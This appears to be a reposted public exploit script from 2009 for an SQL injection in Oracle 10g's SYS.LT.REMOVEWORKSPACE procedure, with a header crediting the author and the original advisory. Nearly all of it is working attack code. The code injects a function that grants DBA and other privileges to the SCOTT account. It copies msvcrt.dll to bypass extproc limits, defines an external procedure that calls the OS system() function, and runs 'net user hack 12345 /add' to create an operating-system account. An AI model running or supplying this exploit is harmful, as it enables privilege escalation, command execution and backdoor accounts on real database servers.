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Oracle 10g SYS.LT.REMOVEWORKSPACE SQL Injection Exploit
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来源：http://www.dsecrg.ru 作者：Polyakov 发布时间：2009-01-07
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/*********************************************************/
/*Oracle 10g SYS.LT.REMOVEWORKSPACE SQL Injection Exploit*/
/****grant DBA and create new OS user (advanced extproc)*/
/*********************************************************/
/***********exploit grant DBA to scott********************/
/***********and execute OS command "net user"*************/
/***********using advanced extproc method*****************/
/*********************************************************/
/***********tested on oracle 10.1.0.5.0*******************/
/*********************************************************/
/*********************************************************/
/* Date of Public EXPLOIT: January 6, 2009 */
/* Written by: Alexandr "Sh2kerr" Polyakov */
/* email: Alexandr.Polyakov@dsec.ru */
/* site: http://www.dsecrg.ru */
/* http://www.dsec.ru */
/*********************************************************/
/*Original Advisory: */
/*Esteban Martinez Fayo [Team SHATTER ] */
/*Date of Public Advisory: November 11, 2008 */
/*http://www.appsecinc.com/resources/alerts/oracle/2008-10.shtml*/
/*********************************************************/
select * from user_role_privs;
CREATE OR REPLACE FUNCTION X return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
EXECUTE IMMEDIATE 'GRANT CREATE ANY DIRECTORY TO SCOTT';
EXECUTE IMMEDIATE 'GRANT CREATE ANY LIBRARY TO SCOTT';
EXECUTE IMMEDIATE 'GRANT EXECUTE ON SYS.DBMS_FILE_TRANSFER TO SCOTT';
COMMIT;
RETURN 'X';
END;
/
exec SYS.LT.CREATEWORKSPACE('sh2kerr'' and SCOTT.X()=''X');
exec SYS.LT.REMOVEWORKSPACE('sh2kerr'' and SCOTT.X()=''X');
/* bypassing extproc limitation by copying msvcrt.dll to $ORACLE_HOME\BIN */
/* this method works in 10g and 11g database versions with updates */
CREATE OR REPLACE DIRECTORY copy_dll_from AS 'C:\Windows\system32';
CREATE OR REPLACE DIRECTORY copy_dll_to AS 'C:\Oracle\product\10.1.0\db_1\BIN';
BEGIN
SYS.DBMS_FILE_TRANSFER.COPY_FILE(
source_directory_object => 'copy_dll_from',
source_file_name => 'msvcrt.dll',
destination_directory_object => 'copy_dll_to',
destination_file_name => 'msvcrt.dll');
END;
/
CREATE OR REPLACE LIBRARY extproc_shell AS 'C:\Oracle\product\10.1.0\db_1\bin\msvcrt.dll';
/
CREATE OR REPLACE PROCEDURE extprocexec (cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY extproc_shell
LANGUAGE C;
/
/* here we can paste any OS command for example create new user */
EXEC extprocexec('net user hack 12345 /add');
/
select * from user_role_privs;
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